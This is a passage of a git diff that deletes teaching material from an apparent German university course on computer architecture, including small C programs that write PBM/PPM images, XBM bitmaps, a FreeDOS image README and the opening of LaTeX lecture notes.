- -uint8_t buffer[SIZE]; - -void clear (void) -{ - for (int i = 0; i < SIZE; i++) - buffer[i] = 0; -} - -void set_pixel (int x, int y) -{ - int i = (WIDTH / 8) * y; - i += x / 8; /* Byte innerhalb von buffer[] */ - int b = x % 8; /* Bit innerhalb des Bytes */ - buffer[i] |= 1 << b; -} - -void output (void) -{ - printf ("P4\n%d %d\n", WIDTH, HEIGHT); - for (int i = 0; i < SIZE; i++) - printf ("%c", buffer[i]); -} - -int main (void) -{ - clear (); - for (int i = 0; i < HEIGHT; i++) - set_pixel (i, i); - output (); - return 0; -} diff --git a/script/examples/writepbm-3.pbm b/script/examples/writepbm-3.pbm deleted file mode 100644 index 92d5dd407e398e55667e68480c6a9f62169426a0..0000000000000000000000000000000000000000 Binary files a/script/examples/writepbm-3.pbm and /dev/null differ diff --git a/script/examples/writepbm-4.c b/script/examples/writepbm-4.c deleted file mode 100644 index a81566eceb714a8beba74d6532eb98e5e6067ba3..0000000000000000000000000000000000000000 --- a/script/examples/writepbm-4.c +++ /dev/null @@ -1,39 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -#define WIDTH 64 -#define HEIGHT 64 - -#define SIZE ((WIDTH / 8) * HEIGHT) - -uint8_t buffer[SIZE]; - -void clear (void) -{ - for (int i = 0; i < SIZE; i++) - buffer[i] = 0; -} - -void set_pixel (int x, int y) -{ - int i = (WIDTH / 8) * y; - i += x / 8; /* Byte innerhalb von buffer[] */ - int b = x % 8; /* Bit innerhalb des Bytes */ - buffer[i] |= 0x80 >> b; -} - -void output (void) -{ - printf ("P4\n%d %d\n", WIDTH, HEIGHT); - for (int i = 0; i < SIZE; i++) - printf ("%c", buffer[i]); -} - -int main (void) -{ - clear (); - for (int i = 0; i < HEIGHT; i++) - set_pixel (i, i); - output (); - return 0; -} diff --git a/script/examples/writepbm-4.pbm b/script/examples/writepbm-4.pbm deleted file mode 100644 index 9b34cca4d8b89bc9b0b54add3fafd57ee926c270..0000000000000000000000000000000000000000 Binary files a/script/examples/writepbm-4.pbm and /dev/null differ diff --git a/script/examples/writepbm-4.xbm b/script/examples/writepbm-4.xbm deleted file mode 100644 index 70bdfe3cae5ec3ee2d75d30b1038a13d128656f4..0000000000000000000000000000000000000000 --- a/script/examples/writepbm-4.xbm +++ /dev/null @@ -1,46 +0,0 @@ -#define writepbm-4_width 64 -#define writepbm-4_height 64 -static char writepbm-4_bits[] = { - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, }; diff --git a/script/examples/writepbm_4.xbm b/script/examples/writepbm_4.xbm deleted file mode 100644 index 625358e2a059d07895380072fe54ac766c5a34df..0000000000000000000000000000000000000000 --- a/script/examples/writepbm_4.xbm +++ /dev/null @@ -1,46 +0,0 @@ -#define writepbm_4_width 64 -#define writepbm_4_height 64 -static char writepbm_4_bits[] = { - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, }; diff --git a/script/examples/writeppm.c b/script/examples/writeppm.c deleted file mode 100644 index 262d6644fe27259ae9f52fdfbbe582e1404912b6..0000000000000000000000000000000000000000 --- a/script/examples/writeppm.c +++ /dev/null @@ -1,39 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -#define WIDTH 64 -#define HEIGHT 64 - -#define SIZE (3 * WIDTH * HEIGHT) - -uint8_t buffer[SIZE]; - -void clear (void) -{ - for (int i = 0; i < SIZE; i++) - buffer[i] = 0; -} - -void set_pixel (int x, int y, int r, int g, int b) -{ - int i = 3 * (y * WIDTH + x); - buffer[i++] = r; - buffer[i++] = g; - buffer[i] = b; -} - -void output (void) -{ - printf ("P6\n%d %d\n%d\n", WIDTH, HEIGHT, 255); - for (int i = 0; i < SIZE; i++) - printf ("%c", buffer[i]); -} - -int main (void) -{ - clear (); - for (int i = 0; i < HEIGHT; i++) - set_pixel (i, i, 255, i, 255 - i); - output (); - return 0; -} diff --git a/script/examples/writeppm.ppm b/script/examples/writeppm.ppm deleted file mode 100644 index 580c3377668ce71e99ebded77cd33816416c29a6..0000000000000000000000000000000000000000 Binary files a/script/examples/writeppm.ppm and /dev/null differ diff --git a/script/examples/zwischendurch.png b/script/examples/zwischendurch.png deleted file mode 100644 index 31598a56a36cbab25da1c7991a30c176157d1119..0000000000000000000000000000000000000000 Binary files a/script/examples/zwischendurch.png and /dev/null differ diff --git a/script/fa-1.jpg b/script/fa-1.jpg deleted file mode 100644 index 0a3abc829dff90e4e99c7c120c3f96452198bc94..0000000000000000000000000000000000000000 Binary files a/script/fa-1.jpg and /dev/null differ diff --git a/script/fa-2.jpg b/script/fa-2.jpg deleted file mode 100644 index 44b938719061e6fd0eb3238c601096a1a2255d35..0000000000000000000000000000000000000000 Binary files a/script/fa-2.jpg and /dev/null differ diff --git a/script/fa-3.jpg b/script/fa-3.jpg deleted file mode 100644 index 2f003591d7f67ded75f5626b35999fea0f5d2964..0000000000000000000000000000000000000000 Binary files a/script/fa-3.jpg and /dev/null differ diff --git a/script/festplatte-pata.jpg b/script/festplatte-pata.jpg deleted file mode 100644 index a5c064f110ee4e51b9d9d68629e6c9582f663c8a..0000000000000000000000000000000000000000 Binary files a/script/festplatte-pata.jpg and /dev/null differ diff --git a/script/festplatte-sata.jpg b/script/festplatte-sata.jpg deleted file mode 100644 index c6ef768a48a261a34430b2af1f1e0f4cfbb89443..0000000000000000000000000000000000000000 Binary files a/script/festplatte-sata.jpg and /dev/null differ diff --git a/script/kompass-messung.png b/script/kompass-messung.png deleted file mode 100644 index 483165aec6de40b1993500956f1de1cb7added79..0000000000000000000000000000000000000000 Binary files a/script/kompass-messung.png and /dev/null differ diff --git a/script/kompassmodul-an-roboter.jpg b/script/kompassmodul-an-roboter.jpg deleted file mode 100644 index 8032f89a2d9ed29445312c2f29ef6ceb951b2005..0000000000000000000000000000000000000000 Binary files a/script/kompassmodul-an-roboter.jpg and /dev/null differ diff --git a/script/kompassmodul.jpg b/script/kompassmodul.jpg deleted file mode 100644 index 91e9de3f4ff0023b01957a6c48e2b61f8070ee40..0000000000000000000000000000000000000000 Binary files a/script/kompassmodul.jpg and /dev/null differ diff --git a/script/komplement.jpg b/script/komplement.jpg deleted file mode 100644 index 371ae98c4539e6a7eea88be76c548f1953c68643..0000000000000000000000000000000000000000 Binary files a/script/komplement.jpg and /dev/null differ diff --git a/script/logo-hochschule-bochum-cvh-text-v2.pdf b/script/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/script/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/script/logo-hochschule-bochum-cvh-text.pdf b/script/logo-hochschule-bochum-cvh-text.pdf deleted file mode 100644 index 649b6a8b8f51ddc370a3626310c172fb3f8b0807..0000000000000000000000000000000000000000 Binary files a/script/logo-hochschule-bochum-cvh-text.pdf and /dev/null differ diff --git a/script/logo-hochschule-bochum.pdf b/script/logo-hochschule-bochum.pdf deleted file mode 100644 index 8cad73dbb48a2b550bf29355b5a6ec895ce091f8..0000000000000000000000000000000000000000 Binary files a/script/logo-hochschule-bochum.pdf and /dev/null differ diff --git a/script/material/README b/script/material/README deleted file mode 100644 index 3e099a98b6be2518f8d4ad47e2bd3e14442aede2..0000000000000000000000000000000000000000 --- a/script/material/README +++ /dev/null @@ -1,11 +0,0 @@ -freedos.hd - HD image of a minimal FreeDOS 1.1 installation - for use in virtual environments (qemu, VirutalBox, etc.), - just to run the "debug" program - -FreeDOS is free software: you can redistribute and/or modify it -under free licenses. Most parts are subject to the GNU General -Public License, version 2. - -You can download the original distribution, including the source code, -from http://www.freedos.org/download/, or you can ask me for a copy -of fd11src.iso. diff --git a/script/material/freedos.hd b/script/material/freedos.hd deleted file mode 100644 index bf24ea7697c79c81cbb1ff01ddb015a63faff730..0000000000000000000000000000000000000000 Binary files a/script/material/freedos.hd and /dev/null differ diff --git a/script/motherboard-anschluesse.jpg b/script/motherboard-anschluesse.jpg deleted file mode 100644 index 0c18421ba84cf3b5edfd94404152138a78ee527b..0000000000000000000000000000000000000000 Binary files a/script/motherboard-anschluesse.jpg and /dev/null differ diff --git a/script/motherboard-ausschnitt.jpg b/script/motherboard-ausschnitt.jpg deleted file mode 100644 index 86e3b0510a3e91661c9cbbfd557b5af6b7a14fa3..0000000000000000000000000000000000000000 Binary files a/script/motherboard-ausschnitt.jpg and /dev/null differ diff --git a/script/motherboard.jpg b/script/motherboard.jpg deleted file mode 100644 index 339770fb42e760cd4271d4560446cd52e6db16b3..0000000000000000000000000000000000000000 Binary files a/script/motherboard.jpg and /dev/null differ diff --git a/script/multi-1.jpg b/script/multi-1.jpg deleted file mode 100644 index 0a9b182c834726cbde3be70e06c42bf4256d4df0..0000000000000000000000000000000000000000 Binary files a/script/multi-1.jpg and /dev/null differ diff --git a/script/multi-2.jpg b/script/multi-2.jpg deleted file mode 100644 index ab06d9580a04a3bc7b748ba18ad1a76a29f250db..0000000000000000000000000000000000000000 Binary files a/script/multi-2.jpg and /dev/null differ diff --git a/script/multi-3.jpg b/script/multi-3.jpg deleted file mode 100644 index c4724ef94c94b326698cf3de0599a1e4176236e6..0000000000000000000000000000000000000000 Binary files a/script/multi-3.jpg and /dev/null differ diff --git a/script/pgscript.sty b/script/pgscript.sty deleted file mode 120000 index 95c888478c99ea7fda0fd11ccf669ae91be7178b..0000000000000000000000000000000000000000 --- a/script/pgscript.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgscript.sty \ No newline at end of file diff --git a/script/pgslides.sty b/script/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/script/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/script/programm-screenshot.png b/script/programm-screenshot.png deleted file mode 100644 index 5214650458048bdc5a375f828ec5153fae241579..0000000000000000000000000000000000000000 Binary files a/script/programm-screenshot.png and /dev/null differ diff --git a/script/pst-circ-pg.sty b/script/pst-circ-pg.sty deleted file mode 120000 index 81253a45bded27ed7cf1b13b967ae54772b0807d..0000000000000000000000000000000000000000 --- a/script/pst-circ-pg.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pst-circ-pg.sty \ No newline at end of file diff --git a/script/rechnen.jpg b/script/rechnen.jpg deleted file mode 100644 index 2f95f8f20d5b9298002ec5dd41ad43ea8e2a3db0..0000000000000000000000000000000000000000 Binary files a/script/rechnen.jpg and /dev/null differ diff --git a/script/rtech-2013ws.pdf b/script/rtech-2013ws.pdf deleted file mode 100644 index 5d47b21003212acf1ca661cb224402a910f52f6c..0000000000000000000000000000000000000000 Binary files a/script/rtech-2013ws.pdf and /dev/null differ diff --git a/script/rtech-2013ws.tex b/script/rtech-2013ws.tex deleted file mode 100644 index 06b2e17940560f787fb8a53b9678a963afbc2f4d..0000000000000000000000000000000000000000 --- a/script/rtech-2013ws.tex +++ /dev/null @@ -1,4835 +0,0 @@ -% rtech-2012ws.pdf - Lecture Notes on Fundamentals in Computer Architecture -% Copyright (C) 2012, 2013 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[a4paper]{article} - -\usepackage{pgscript} -\usepackage{rotating} -\usepackage{pdftricks} - -\newcommand{\name}[1]{\textsc{#1}} -\newcommand{\ccbysanp}{CC-by-sa (Version 3.0, nicht portiert)} -\newcommand{\fdl}{GNU FDL (Version 1.2 oder h�her)} -\newcommand{\mylicense}{CC-by-sa (Version 3.0) oder GNU GPL (Version 3 oder h�her)} -\newcommand{\pd}{gemeinfrei -- \emph{public domain}} - -\makeatletter - \newcommand{\figurecaptionraw}[2]{% - \def\n{\hfill\break} - \refstepcounter{figure}% - \addcontentsline{lof}{figure}% - {\protect\numberline{\goodbreak\hspace{-1.5em}Abb.~\thefigure}{\ignorespaces #1}\protect\nopagebreak}% - \begingroup - \def\n{\break} - \@makecaption{\csname fnum@figure\endcsname}{\ignorespaces #1}\par - \endgroup - \addtocontents{lof}{\begingroup\leftskip3.8em #2\par\endgroup} - } -\makeatother -\newcommand{\figurecaptionurl}[5]{% - \figurecaptionraw{#1}{Quelle: \protect\url{#2},\protect\\abgerufen am #3\protect\\Autor: #4\protect\\Lizenz: #5}} -\newcommand{\figurecaptionurlurl}[5]{% - \figurecaptionraw{#1}{Quelle: \protect\url{#2},\protect\\abgerufen am #3\protect\\Autor: \protect\url{#4}\protect\\Lizenz: #5}} -\newcommand{\figurecaptionself}[1]{\figurecaptionraw{#1}{Quelle/Autor: selbst erstellt\protect\\Lizenz: \mylicense}} - -\newcommand{\underconstruction}{\hfill\makebox(0,0)[tr]{\includegraphics[width=2cm]{UnderCon_icon.pdf}}} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} -\newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} - -\begin{psinputs} - \usepackage{pgscript} - \usepackage{pstricks,pst-grad,pst-circ-pg} - \newcommand{\invisible}{\tiny\color{white}} - \psset{unit=1cm} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\begin{document} - \thispagestyle{empty} - \strut\hfill - \includegraphics[height=1.5cm]{logo-hochschule-bochum.pdf} - \vfill - \begin{center} - {\Huge\textbf{Grundlagen Rechnertechnik}\par} - \vspace{2cm} - {\large Wintersemester 2012/13\\[\medskipamount] - Prof.~Dr.~Peter Gerwinski} - \end{center} - \vfill - - \clearpage - - \begingroup - \strut\vfill - - \setlength{\leftskip}{3cm} - - Stand: 21.\ Januar 2013 - - Soweit nicht anders angegeben:\\ - Copyright \copyright\ 2012\quad Peter Gerwinski\\ - Lizenz: \mylicense - -% Baustellenschilder (Quelle: \url{http://commons.wikimedia.org/wiki/File:UnderCon\_icon.svg}, -% Lizenz: gemeinfrei) kennzeichnen Passagen, f�r die kurzfristig noch gr��ere �nderungen geplant sind. - - Sie k�nnen dieses Skript einschlie�lich Quelltext - und Beispielprogramme\\ - herunterladen unter:\\ - \url{http://www.peter.gerwinski.de/download/rtech-2012ws.tar.gz} - - \endgroup - - \clearpage - - \tableofcontents - - \clearpage - - \catcode`\_=13 - \listoffigures - \catcode`\_=8 - - \clearpage - - \section{Einf�hrung} - - \subsection{Was ist Rechnertechnik?} - - Wikipedia \cite{WP: Rechnertechnik} definiert \newterm{Rechnertechnik\/} folgenderma�en: - \begin{quote} - Die \newterm{Rechnertechnik\/} (auch Computertechnik, englisch \newterm{computer engineering\/}) - besch�ftigt sich als technisches Fachgebiet - mit der Konzeption von informationsverarbeitenden Anlagen, also Computern. - Sie baut auf der Digitaltechnik und Mikroelektronik auf. - \end{quote} - - Die Kernfrage, mit denen wir uns in dieser Lehrveranstaltung befassen werden, lautet also: - \begin{quote} - Wie funktioniert ein Computer? - \end{quote} - - Im Gegensatz zu z.\,B.\ Lebewesen werden Computer von Menschen entwickelt und gebaut. - Daher ist es grunds�tzlich m�glich, ihre Funktionsweise vollst�ndig zu verstehen. - - \subsection{Was ist ein Computer?} - - Ein \newterm{Rechner}, englisch \newterm{Computer}, - ist von der Wortbedeutung her zun�chst einmal ein Werkzeug, - das dem menschlichen Gehirn beim Rechnen hilft. - - Beispiele f�r derartige Rechenhilfen: - \begin{itemize} - \setlength{\rightskip}{5cm} - \item - Finger - - Die eigenen Finger werden h�ufig beim Kopfrechnen - als zus�tzliches Werkzeug eingesetzt, um sich Zwischenergebnisse - (typischerweise im Zahlenbereich von 1 bis 10) zu merken. - \item - Papier und Bleistift, Sand, Tontafeln etc. - - Das schriftliche Addieren, Subtrahieren, Multiplizieren und Dividieren - ist aus der Grundschule bekannt. - Auch weitere Operationen (z.\,B.\ Wurzelziehen) lassen sich auf diese Weise ausf�hren. - \item - Zirkel und Lineal - \hfill\makebox(0,0)[tl]{\hspace*{1cm}\begin{minipage}{4cm} - \vspace{-3cm} - \begin{center} - \includegraphics[width=4cm]{Drawing-a-circle-with-the-compasses.jpg}\\ - \figurecaptionurl{Zirkel}% - {http://commons.wikimedia.org/wiki/File:Drawing-a-circle-with-the-compasses.jpg}% - {7.\,10.\,2012}% - {International Correspondence Schools, Scranton, PA., USA}% - {\pd} - \bigskip - \includegraphics[width=4cm]{Holding-a-ruling-pen-edited-2.jpg}\\ - \figurecaptionurl{Lineal}% - {http://commons.wikimedia.org/wiki/File:Holding-a-ruling-pen.jpg}% - {7.\,10.\,2012, selbst bearbeitet}% - {International Correspondence Schools, Scranton, PA., USA}% - {\pd} - \end{center} - \end{minipage}} - - Erstaunlich viele geometrische Konstruktionen lassen sich allein mit Hilfe eines Zirkels - und eines Lineals (ohne Ma�stab) durchf�hren. Beispiele: - \begin{itemize} - \item - Addition, Subtraktion, Multiplikation und Division von Zahlen,\\ - dargestellt durch L�ngenverh�ltnisse - \item - Berechnung von $\sqrt{2}$ als L�ngenverh�ltnis - \item - Division eines Winkels durch $2$ oder Potenzen von $2$ - \item - Konstruktion eines regelm��igen F�nfecks,\\ - Siebzehnecks oder 65537ecks - \end{itemize} - Wie im 19.\ Jahrhundert bewiesen wurde (K�rper- und \name{Galois}-The\-o\-rie), - gibt es aber auch mathematische Probleme, - die sich \emph{nicht\/} allein mit Zirkel und Lineal l�sen lassen. - Beispiele: - \begin{itemize} - \item - Berechnung von $\sqrt[3]{2}$ als L�ngenverh�ltnis\\("`W�rfelverdopplung"') - \item - Berechnung der Zahl $\pi$ als L�ngenverh�ltnis\\("`Quadratur des Kreises"') - \item - Division eines Winkels durch $3$ - \item - Konstruktion eines regelm��igen Siebenecks - \end{itemize} - \item - Abakus - - Bei dieser Rechenhilfe ersetzen verschiebbare Kugeln geschriebene Ziffern. - Die eigentliche Rechnung erfolgt genau wie beim schriftlichen Rechnen. - \item - Mechanische Rechenmaschine - \hfill\makebox(0,0)[tl]{\hspace*{0.7cm}\begin{minipage}{4.3cm} - \begin{center} - \includegraphics[width=4cm]{1890s_adding_machine.jpg}\\ - \figurecaptionurlurl{Mechanische Rechenmaschine}% - {http://commons.wikimedia.org/wiki/File:1890s_adding_machine.jpg}% - {7.\,10.\,2012}% - {http://commons.wikimedia.org/wiki/User:Trekphiler}% - {\ccbysanp} - \end{center} - \end{minipage}} - - Die Vorg�nge, die beim schriftlichen Rechnen durch einen Menschen ausgef�hrt werden, - erfolgen hier durch Zahnr�der. - \item - Rechenschieber - - Zwei gegeneinander verschiebbare logarithmische Skalen - erlauben es, die Multiplikation auf die Addition zur�ckzuf�hren - und die Division auf die Subtraktion. - Zus�tzliche Skalen erm�glichen auch das Ziehen von Wurzeln und weitere Operationen. - \item - Taschenrechner - - Die Vorg�nge, die beim 